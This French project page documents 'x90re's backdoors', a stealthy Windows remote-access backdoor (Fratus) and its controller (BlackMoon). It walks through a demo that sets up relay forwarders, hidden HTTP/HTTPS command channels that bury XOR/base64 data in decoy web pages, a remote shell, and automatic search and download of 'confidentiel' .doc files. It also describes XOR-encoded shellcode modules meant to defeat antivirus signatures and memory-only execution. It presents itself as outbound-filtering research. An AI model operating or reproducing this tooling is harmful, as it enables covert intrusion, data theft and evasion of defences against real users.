Last update: 29/05/2007


EtatDéveloppement
Version2.00
Mise à jour18/11/2006

Projet x90re's backdoors
"x90re's backdoors" sont des backdoors furtives avancées pour Windows, développées dans le cadre d'une étude sur la problématique de filtrage des flux sortant.

Objectif de cette page
L'objectif de cette page est de présenter une petite démo basée sur Fratus et BlackMoon introduisant quelques principes généraux et commandes fondamentales de ces outils, que vous pourrez facilement reproduire sur votre PC.
Présentation de la démo
Cette démo simule une attaque visant à récupérer des fichiers confidentiels sur un poste Windows. Le pirate utilise des machines de rebonds pour protéger son identité.
Le schéma suivant résume cette architecture :
Les machines utilisées comme relais sont typiquement des ordinateurs personnels connectés via un modem USB ou ethernet, donc ayant un accès complet à Internet. Nous supposerons de plus qu'elles peuvent ouvrir une socket en mode serveur et recevoir des connexions depuis Internet (ce qui requiert une configuration du modem dans le cas ethernet).

La démo reprendra de manière très très schématique cette architecture. Pour éviter d'utiliser 4 machines différentes, tout sera fait en local :
  • Le poste de l'attaquant sera représenté par BlackMoon.
  • Les forwarders seront représentés par deux instances de Fratus qui se mettront en écoute sur les ports 100, 500, 101 et 501.
  • La machine cible sera représentée par une troisième instance de Fratus.
Une seule machine sera donc nécessaire (ainsi qu'une bonne dose d'imagination ;) ).

Voici les grandes lignes de cette démo :
Dans un premier temps, nous allons créer les deux forwarders (relais) : Activation de protocoles, démarrage des fonctionnalités de relayage. Ensuite nous lancerons une troisième instance de Fratus, représentant la backdoor s'exécutant sur le poste cible. Celle-ci ne dialoguera qu'avec les forwarders, qui relayeront les requêtes vers BlackMoon.
Afin de respecter les contraintes de l'architecture réelle, seuls les protocoles HTTP et HTTPS seront utilisés pour les communications entre la backdoor sur la cible et les forwarders.
Nous utiliserons alors un premier module pour obtenir un accès cmd distant sur la cible, puis un second pour effectuer une recherche de la chaine "confidentiel" dans tous les fichiers .doc d'une arborescence.

Une fois encore, l'objectif de cette démo n'est pas le réalisme, mais uniquement de donner un rapide aperçu des possibilités offertes par ces backdoors.
Mise en place de l'environnement de la démo
Pour préparer cette démo, commencez par télécharger l'archive x90re_backdoors_V2.00.beta.zip disponible dans la section "Accès aux ressources" de cette page et décompressez la dans le répertoire de votre choix.
Téléchargez ensuite CCProxy sur http://www.youngzsoft.net/ccproxy/ (ou un autre logiciel de proxy) et lancez le.
Configurez votre navigateur par défaut pour qu'il passe par ce proxy, et vérifiez les accès HTTP et HTTPS. Dans cette page, CCProxy en écoute sur le port 8080.
Etape 1 : Lancement du BlackMoon
Commencez par lancer BlackMoon. Vous obtenez l'interface suivante :
L'écran est divisé en plusieurs parties:
  • Output window = Affichage de la sortie des backdoors
  • Data window = Affichage des fichiers récupérés sur l'hôte
  • Command window = Liste des commandes pour la backdoor, gérée en fifo
  • Hosts window = Liste des backdoors
  • Files transfert window = Barre de progression des uploads/downloads
  • Logs window = Fenêtre de logs de BlackMoon
En utilisant le menu, vous pouvez afficher la fenêtre de configuration de BlackMoon, dans laquelle vous pourrez modifier les ports d'écoute des différents services (HTTP, HTTPS et DIRECT).

Il existe trois modes différents pour l'édition de commandes :
  • "View mode" (bouton avec un oeil) : dans ce mode, vous ne pouvez pas ajouter de commandes à la backdoor sélectionnée.
  • "Manual mode" (bouton avec un engrenage) : permet d'ajouter des commandes manuellement en les saisissant dans la boite de texte au sommet de "commands window". Chaque nouvelle commande est ajoutée à la fin de la liste des commandes de l'hôte (gestion en fifo)
    La liste déroulante vous permet de sélectionner le module auquel la commande est destinée.
  • "Edit command" (bouton avec des flèches) : ce mode vous permet de mettre la backdoor en attente et d'ajouter plusieurs commandes en les saisissant directement dans la partie "Commands window". Il est également possible de sauver une liste de commandes dans un fichier texte puis de le recharger ultérieurement. Vous pouvez supprimer les commandes sélectionnées avec la touche "Del" et insérer une commande vide en appuyant sur Ctrl-i.
Dans la suite de cette page, la notation pour les commandes à saisir sera la suivante :
[MODULE] : [COMMANDE]
où [MODULE] est le nom du module ("shell" pour des commandes du shell), à saisir dans la boite de gauche et [COMMANDE] est la commande à envoyer.
Etape 2 : Lancement du Fratus
Lançons maintenant la première instance de Fratus :
C:\>fratus.exe -f (http:localhost:80) -n fwd1 -r 2:fwd1 --proxy-http none --proxy-https none
  +---------------------------------------------------------------------------------------------------------+
  |                                                                                                         |
  |                                      x90re's backdoors : Fratus                                         |
  |                                                                                                         |
  +---------------------------------------------------------------------------------------------------------+
  |                               Author  :       x90re                                                     |
  |                               Version :       2.00 beta                                                 |
  |                               Date    :       11/10/2006                                                |
  |                               Contact :       x90re@yahoo.fr                                            |
  +---------------------------------------------------------------------------------------------------------+
  | Warning :                                                                                               |
  |     This program is a backdoor developped for educationnal and test purpose                             |
  |  If you want more informations :                                                                        |
  |     * option -h                                                                                         |
  |     * http://benjamin.caillat.free.fr                                                                   |
  +---------------------------------------------------------------------------------------------------------+
[4600] Default browser is Firefox
[4600] Current Working Directory:
[4600]  C:\Documents and Settings\x90re\Local Settings\Application Data\fwd1\

[4600] Web access configuration:
[4600]  HTTP    = no proxy
[4600]  HTTPS   = no proxy
[4600] Proxy Auth : none

[4600] BackDoorShell : Trying to get host ID
[4600] Protocol choosed for communication : 0 (36 bytes to send)
[4600] Failed to send request on protocol 0
[4600] Forwarder choosed for communication : 0 (error counter 0)
[4600] Openning new channel on protocol 0	
	
Au niveau des paramètres de lancement, nous utilisons :
  • -f (http:localhost:80) : définit un forwarder correspondant à BlackMoon : protocole = http, hôte = localhost, port = 80
  • -n fwd1 : cette option permet de spécifier le nom avec lequel la backdoor doit s'annoncer auprès de BlackMoon. Par défaut, le nom DNS de l'hôte est utilisé, mais comme nous allons lancer plusieurs instances simultanément sur la même machine, nous devons spécifier un nom différent.
  • -r 2:fwd1 : pour la même raison, nous spécifions le répertoire de travail de la backdoor.
  • --proxy-http(s) none : Ces options permettent d'éviter que Fratus n'utilise le proxy configuré dans les préférences du navigateur par défaut
Fratus commence alors à dialoguer avec BlackMoon via un canal caché dans HTTP. Remarquez le fonctionnement similaire à du polling : Fratus se connecte régulièrement sur BlackMoon pour tenter de récupérer une commande.

La backdoor "fwd1" apparait alors au niveau de BlackMoon, dans la partie "hosts window".

Les valeurs des colonnes "Last request" et "Next request" affichent la date de la dernière et de la prochaine requête.
Appuyez sur "Backdoor parameters" pour faire apparaitre la fenêtre de configuration des paramètres de la backdoor (taille de buffers de transfert, temps entre 2 requêtes, ...).
Pour l'instant, BlackMoon ne dispose pas des valeurs réelles de ces paramètres et affiche donc des valeurs par défaut. Appuyez sur "cancel".
Passez en mode manuel (bouton avec un engrenage) et exécutez la commande "getparams" pour que la backdoor vous envoie ses paramètres.
BlackMoon affiche alors dans la partie "Output window" un ensemble d'informations répartis dans 4 catégories :
  • Communication sleep values : Cette catégorie indique l'intervalle de temps entre les différentes requêtes (commandes, upload, download)
  • Protocol state : Indique l'état des différents protocoles supportés. Pour l'instant, seul le protocole HTTP a un forwarder et peut être utilisé.
  • Parameters for forwarder 1 : Affiche les informations relatives à chaque forwarder : protocole, état, compteur d'erreur, ...
  • Web connection parameters : Rassemble les informations relatives aux connexions WEB (HTTP/HTTPS) : type de connexion (direct/proxy, avec/sans mot de passe)
Affichez à nouveau la fenêtre "Backdoor parameters" ; BlackMoon vous propose cette fois les valeurs réelles, renvoyées par la backdoor.
Changez l'intervalle entre deux requêtes de commandes à 30 secondes et validez. BlackMoon forme une commande "setcommparams" avec tous les paramètres. La backdoor va maintenant venir chercher une commande toutes les 30 s.
Revenez à 3 secondes pour une meilleur interactivité.

Entrez la commande "saveparams". La backdoor enregistre alors les paramètres dans un fichier dans son répertoire de travail (dans notre cas : "C:\Documents and Settings\[USER]\Local Settings\Application Data\fwd1"). Le nom du fichier et son contenu seront encodés par la clé maître XOR de la backdoor. Par défaut, la clé étant 0xdeadbabe, le fichier créé s'appellera "xeiouw".
A noter que lorsque vous fermez BlackMoon, les paramètres des différentes backdoors sont stockés en local dans un fichier XML et seront donc automatiquement rechargés au prochain lancement. Si les paramètres ont également été sauvés sur la backdoor, les deux éléments devraient être directement synchronisés.
Etape 3 : Activation du protocole DIRECT
Dans l'optique de notre mini-architecture de démo, fwd1 est une machine privée. Classiquement, ces machines ont un accès complet à Internet (via un modem USB ou un modem Ethernet effectuant de l'IP masquerading).
Nous allons donc ajouter le support du protocole "DIRECT", beaucoup plus léger que HTTP (mais ne supportant pas le passage par un proxy web).
Commencez par uploader le module DIRECT :
shell : putmodule [PATH TO BLACKMOON]\modules\direct.dll
Le module va être uploadé dans le répertoire de la backdoor sous le nom direct.bkm
Démarrez le module :
shell : startmodule direct
Affichez alors les paramètres de la backdoor via la commande getparams. Dans la catégorie "Protocol state", vous constaterez que DIRECT est maintenant marqué comme "May be used".
Cependant, le protocole n'est pas encore utilisé car la backdoor ne dispose d'aucun forwarder de ce type.
Cliquez sur "Backdoor forwarders" pour afficher la liste des forwarders et ajoutez un forwarder "direct" (127.0.0.1:1164) :
BlackMoon va envoyer une commande "setfwdlist" à la backdoor. Refaites une commande getparams pour vérifier que le nouveau forwarder a bien été ajouté.
Au niveau de la console, observez que Fratus a basculé automatiquement sur le protocole DIRECT (id=2) :
[7716] Protocol choosed for communication : 2 (0 bytes to send)
[7716] Protocol choosed for communication : 2 (0 bytes to send)
[7716] Protocol choosed for communication : 2 (0 bytes to send)
	
Etape 4 : Assurer l'utilisation automatique du protocole DIRECT au démarrage
Dans l'état actuel, si vous arrêtez et relancez Fratus, celle-ci ne pourra pas communiquer avec BlackMoon via le protocole DIRECT. Tout d'abord parce qu'elle aura perdu la référence vers le forwarder DIRECT, ensuite parce que le module DIRECT ne sera pas chargé et démarré. Pour pallier à cela, deux actions doivent être menées :
  • Envoyez une commande "saveparams" pour que la backdoor stocke dans son fichier local les deux forwarders disponibles.
  • Vous pouvez demander à Fratus de recharger des modules automatiquement au démarrage via un fichier de configuration. Ce fichier est au format texte, chaque ligne ayant la composition suivante :
    [DEMARRAGE][FONCTION][MODULE] [PARAMETRES]
    • [DEMARRAGE] = Le fichier de démarrage est lu deux fois : une fois avant le test de connexion sur BlackMoon et une fois après. Ce paramètre indique à la backdoor lors de quelle analyse la ligne devra être exécutée : '0' pour avant le test, '1' pour après.
    • [FONCTION] = Indique la fonction à appeler : '0' indique de charger et module et d'appeler la fonction "start", '1'indique d'appeler la fonction write en lui passant le reste des paramètres
    • [MODULE] = le nom du module
    • [PARAMETRES] = les paramètres à passer lors de l'appel de la fonction write
    Pour relancer le module DIRECT, le fichier devra donc contenir la ligne :
    00direct
    		
    Appuyez sur "edit local startup file" (qui devrait ouvrir le fichier de startup dans votre éditeur .txt préféré) et entrez la ligne ci-dessus (avec un retour chariot à la fin) Fermez l'éditeur et appuyez sur "upload local startup file"
    BlackMoon envoie alors une commande "putstartup" qui provoquera l'upload du fichier. Il sera stocké après encodage (du nom et du contenu) dans le répertoire de la backdoor. Si la clé XOR maître est 0xdeadbabe, vous devriez donc voir apparaitre un fichier "axrfbyg".
Arrêtez (via Ctrl-c) et relancez Fratus : celle-ci devrait directement communiquer via le protocole DIRECT.
Etape 5 : Transformation de fwd1 en forwarder HTTP/HTTPS (1) : les pages trash
Pour devenir un forwarder HTTP, fwd1 a besoin d'un ensemble de pages HTML inutiles (trash) qui seront utilisées pour encapsuler les réponses lors des communications HTTP.
Le module trash permet de rapidement télécharger ces pages dans un sous-répertoire du répertoire de la backdoor.
Commencez par uploader le module trash :
shell : putmodule [PATH TO BLACKMOON]\modules\trash.dll
Puis démarrez le :
shell : startmodule trash
Uploadez maintenant le fichier contenant la liste des URLs :
shell : puthidden [PATH TO BLACKMOON]\extras\urls
Lancez enfin le téléchargement des fichiers :
trash : update urls
La backdoor vous indiquera alors que le thread de téléchargement a démarré. Quelques dizaines de secondes plus tard, vous verrez un message vous indiquant que le téléchargement est terminé :
Les fichiers HTML ont été téléchargés dans le répertoire "trash" sous le nom t[NUM]

Remarque :
Les fichiers trash doivent répondre à des critères bien précis. Deux scripts PERL sont disponibles dans l'archive pour rapidement trouver des fichiers répondant à ces critères. Ce point sera détaillé ultérieurement.
Les fichiers trash pointés par le fichier urls dans l'archive ainsi que ceux utilisé également dans BlackMoon ont été prélevés totalement au hasard sur le web. Il n'existe absolument aucun lien entre ces sites et mes backdoors.
Etape 6 : Transformation de fwd1 en forwarder HTTP/HTTPS (2) : activation du support HTTPS
Pour pouvoir être un forwarder HTTPS, fwd1 doit en plus pouvoir gérer le protocole HTTPS.
Commencez par uploader le module HTTPS :
shell : putmodule [PATH TO BLACKMOON]\modules\https.dll
Uploadez ensuite les librairies OpenSSL :
shell : puthidden [PATH TO BLACKMOON]\extras\libeay32.dll
shell : puthidden [PATH TO BLACKMOON]\extras\ssleay32.dll
Comme fwd1 va devenir un serveur SSL, uploadez un certificat :
shell : puthidden [PATH TO BLACKMOON]\extras\ck
Activez enfin le support HTTPS :
shell : startmodule https
Si vous faites un "getparams" à ce stade, vous constaterez que le protocole HTTPS est maintenant considéré comme pouvant être utilisé.
Etape 7 : Transformation de fwd1 en forwarder HTTP/HTTPS (3) : démarrage des relais HTTP et HTTPS
La fonctionnalité de relayage est implémentée dans le module "fwd"
Commencez par uploader ce module :
shell : putmodule [PATH TO BLACKMOON]\modules\fwd.dll
Démarrez ensuite ce module :
shell : startmodule fwd
Activez alors les serveurs HTTP et HTTPS sur les ports 100 et 500 (les 80 et 443 étant pris par BlackMoon)
fwd : http 100
fwd : https 500
Affichez alors la liste des serveurs forward actifs :
fwd : show
Complétez le fichier de démarrage pour que ces serveurs relais soient relancés automatiquement au démarrage de la backdoor :
00direct
00https
10fwd
11fwd http 100
11fwd https 500
	
Notez que l'activation des serveurs relais est faite après le test de connexion.
Etape 8 : Activation d'un second forwarder
Lancez une autre instance de Fratus dans une autre fenêtre console :
C:\>fratus.exe -f (http:localhost:80) -n fwd2 -r 2:fwd2 --proxy-http none --proxy-https none
	
Exécutez les mêmes étapes que précédemment. Au niveau des serveurs relais, utilisez les ports 101 pour HTTP et 501 pour HTTPS.
Vous pouvez utiliser la fonction "Edit commands" pour entrer un ensemble de commandes et les sauver dans un fichier.
Je vous conseille de vous faire des fichiers types par exemple "create_web_fwd" afin d'automatiser les opérations précédentes.
Etape 9 : Lancement de la backdoor finale
Lancez maintenant une troisième instance de Fratus, qui représentera la backdoor sur poste réel. Comme forwarders, indiquez lui les serveurs relais HTTP de fwd1 et fwd2 :
C:\>fratus.exe -f (http:localhost:100) -f (http:localhost:101)
  +---------------------------------------------------------------------------------------------------------+
  |                                                                                                         |
  |                                      x90re's backdoors : Fratus                                         |
  |                                                                                                         |
  +---------------------------------------------------------------------------------------------------------+
  |                               Author  :       x90re                                                     |
  |                               Version :       2.00 beta                                                 |
  |                               Date    :       11/10/2006                                                |
  |                               Contact :       x90re@yahoo.fr                                            |
  +---------------------------------------------------------------------------------------------------------+
  | Warning :                                                                                               |
  |     This program is a backdoor developped for educationnal and test purpose                             |
  |  If you want more informations :                                                                        |
  |     * option -h                                                                                         |
  |     * http://benjamin.caillat.free.fr                                                                   |
  +---------------------------------------------------------------------------------------------------------+
[3176] Default browser is Firefox
[3176] Current Working Directory:
[3176]  C:\Documents and Settings\x90re\Local Settings\Application Data\messenger\

[3176] Web access configuration:
[3176]  HTTP    = 127.0.0.1:8080
[3176]  HTTPS   = 127.0.0.1:8080
[3176] Proxy Auth : none

[3176] BackDoorShell : Trying to get host ID
[3176] Protocol choosed for communication : 0 (42 bytes to send)
[3176] Failed to send request on protocol 0
[3176] Forwarder choosed for communication : 1 (error counter 0)
[3176] Openning new channel on protocol 0
[3176] Protocol choosed for communication : 0 (0 bytes to send)
[3176] Protocol choosed for communication : 0 (0 bytes to send)
	
La backdoor va alors se connecter sur BlackMoon via ces relais. Exécutez un "getparams" sur BlackMoon pour vérifier que cette instance de Fratus n'a aucune connaissance des forwarders de BlackMoon (sur les ports 80, 443 et 1164).
Au niveau des logs de CCProxy, observez les variations des URLs demandées :
Si vous avez la possibilité de placer le proxy sur une autre machine pour capturer le flux, vous constaterez que les données utiles renvoyées par BlackMoon sont xorées par une clé aléatoire, encodées en base64 et placées à un offset aléatoire dans une véritable page HTML.
Etape 10 : Ajout du support HTTPS
Comme précédemment, uploadez le module HTTPS et les libraires cryptographiques.
Démarrez ensuite le protcole HTTPS.
Ajouter enfin les forwarders https:localhost:500 et https:localhost:501
Effectuez un getparams : Vous devriez voir que les protocoles HTTP et HTTPS peuvent être utilisés. Au niveau des traces de la backdoor vous verrez que celle ci utilise HTTP pour retirer des commandes et bascule automatiquement en HTTPS pour l'envoi de requêtes contenant des données.
[5216] Protocol choosed for communication : 0 (0 bytes to send)
[5216] Protocol choosed for communication : 1 (383 bytes to send)
[5216] Protocol choosed for communication : 0 (0 bytes to send)
	
Au niveau des logs de CCProxy :
Etape 11 : L'accès shell distant
Le module cmd vous permet d'obtenir un accès shell distant.
Uploadez le module CMD :
shell : putmodule [PATH TO BLACKMOON]\modules\cmd.dll
Lancez le module :
shell : startmodule cmd
Toutes les commandes envoyées au module "cmd" seront maintenant exécutées comme dans un cmd :
Etape 12 : Activation de la compression
Afin d'accélérer les transferts de fichiers, il est possible d'utiliser un module "CPS" assurant une compression des fichiers avant leur transfert.
Commencez par uploader le module CPS :
shell : putmodule [PATH TO BLACKMOON]\modules\cps.dll
Uploadez la librairie zlib1.dll
shell : puthidden [PATH TO BLACKMOON]\extras\zlib1.dll
Lancez le module :
shell : startmodule cps
Activez la compression :
cps : compression on
A partir de maintenant, tous les fichiers transférés seront automatiquement compressés.
Pour que cette option soit activée automatiquement, ajoutez dans le fichier de démarrage :
00cps
01cps compression on
	
Etape 13 : La recherche des fichiers confidentiels
La recherche des fichiers confidentiels est faite via le module fif (find in files).
Commencez par uploader le module FIF :
shell : putmodule [PATH TO BLACKMOON]\modules\fif.dll
Lancez le module :
shell : startmodule fif
Vous pouvez maintenant lancer une recherche. Par exemple, pour rechercher le mot "confidentiel" dans tous les fichiers .doc de la sous-arborescence C:\Docs\ sans tenir compte de la casse ni des caractères accentués et télécharger automatiquement les fichiers correspondants, utilisez la commande suivante :
fif : -r "C:\Docs" -p confidentiel -f *.doc -d -i -z
La recherche se fera en arrière plan et peut prendre un certain temps. Plusieurs recherches peuvent être lancées en parallèle.
Vous pouvez utiliser la commande "show" pour demander au module fif d'afficher l'état des recherches en cours.
Si la backdoor est arrêtée alors que des recherches sont en cours, elle les reprendra automatiquement au chargement du module FIF dans le répertoire où elle avait été interrompue.
Il est donc intéressant d'ajouter le chargement automatique du module dans le fichier de démarrage :
10fif
	   
Etape 14 : L'utilisation de module shellcodisés (1) : stockage après encodage
Tous les modules sont également disponibles sous forme de shellcodes dans le répertoire "modules" (le fichier portant le nom du module sans extension).
L'utilisation de la forme shellcodisée présente plusieurs avantages :
  • La taille du module est divisée par 10 donc les transferts sont extrêmement rapides
  • Les modules sont stockés après encodage par la clé maître XOR. Leur nom et leur contenu varie donc en fonction de cette clé, ce qui rend leur détection par signature antivirale extrêmement difficile.
L'image suivante montre le contenu des répertoires de deux instances de Fratus contenant les mêmes fichiers, encodés par deux clés différentes :
Mis à part quelques exceptions, tous les fichiers sont différents (noms et contenus). Les contenus des fichiers modules représentant la véritable charge virale varie complètement.
Il est prévu que tous les noms soient randomisés dans une future version.

Pour utiliser un module shellcodisé, uploadez le fichier via la commande "putenchidden". L'utilisation du module est alors similaire.
La shellcodisation des modules a été faite via WiShMaster un autre de mes projets (un générateur de shellcodes pour Windows). Pour plus d'informations, référez vous à la page dédiée à ce projet sur ce site.
Etape 15 : L'utilisation de module shellcodisés (2) : utilisation en memory-only
Il est également possible d'uploader les modules directement en mémoire, sans effectuer d'écriture sur le disque.
Pour cela, uploadez le module shellcodisé via la commande "putmodulemem". L'utilisation du module reste en elle même inchangée.

Remarque : exécution en memory-only
Il faut noter que Fratus elle-même peut être shellcodisée par WiShMaster, si bien que l'intégralité de la backdoor peut s'exécuter entièrement en mémoire.
Certaines opérations/modules nécessitent cependant des écritures sur le disque (par exemple FIF pour sauver l'état des recherches).
Une prochaine version des backdoors intégrera peut-être un flag global pour inhiber toute écriture sur le disque.
Génération de fichiers trash
BlackMoon et le module fwd encapsulent les données utiles renvoyées via le protocole HTTP dans des pages HTML "inutiles", appelées pages "trash". L'archive contient quelques pages HTML (pour BlackMoon) et un fichier "urls" contenant des liens vers des pages trash à télécharger (pour le module fwd). Il est important de noter que ces pages ont été prélevées totalement au hasard sur net et qu'il n'existe aucun lien entre ces sites et ce projet.
Les pages trash doivent cependant répondre à certains critères : ne pas être trop grosses ou trop petites, ne pas contenir de liens hypertexte spéciaux (href="#", formés par du javascript, ...)
Deux scripts permettant de rapidement obtenir des pages trashs sont disponibles dans le répertoire "trash lists":
  • "autocheckurl.pl" collecte 1000 URLs à partir d'une recherche d'un mot clé sur google, puis inspect chaque page HTML pointée en vérifiant si elle répond aux critères des pages trash. Les URLs des pages apparemment utilisable sont ajoutées dans le fichier "valid_auto.txt"
  • "manualcheckurl.pl" vous permet d'effectuer une validation manuelle. Ce script affiche les liens hypertextes contenus dans les pages HTML pointées par les URLs collectées de manière automatique et vous demande alors si vous souhaitez conserver cette page ou non. La liste des URLs validées est stockée dans le fichier "valid_manual.txt".
FAQ
J'ai entré des commandes pour la backdoor, mais lorsque celle-ci se connecte, BlackMoon ne les lui envoie pas.

Il est probable que la backdoor soit en mode suspendu au niveau de BlackMoon. Regardez le contenu de la colonne "Suspended". S'il est à "Yes", faites un double click dessus pour le passer à "No".

BlackMoon affiche un hôte "unknow_host"

Ce problème apparait si vous quittez BlackMoon et que vous effacez le fichier contenant les identifications des backdoors. Lorsque vous relancez BlackMoon et que la backdoor se reconnecte dessus, BlackMoon ne disposera pas du nom de l'hôte.
Pour résoudre ce problème, vous devez soit relancer la backdoor, soit arrêter BlackMoon et éditer le fichier identification.xml "à la main".
A noter que ce type de manipulation peut provoquer des conflits. Le mieux est donc de ne jamais effacer le fichier "identification.xml".
Une remarque/un bug ?
Ce projet est en développement. N'hésitez donc pas à me faire part de vos remarques/suggestions pour l'améliorer: Benjamin CAILLAT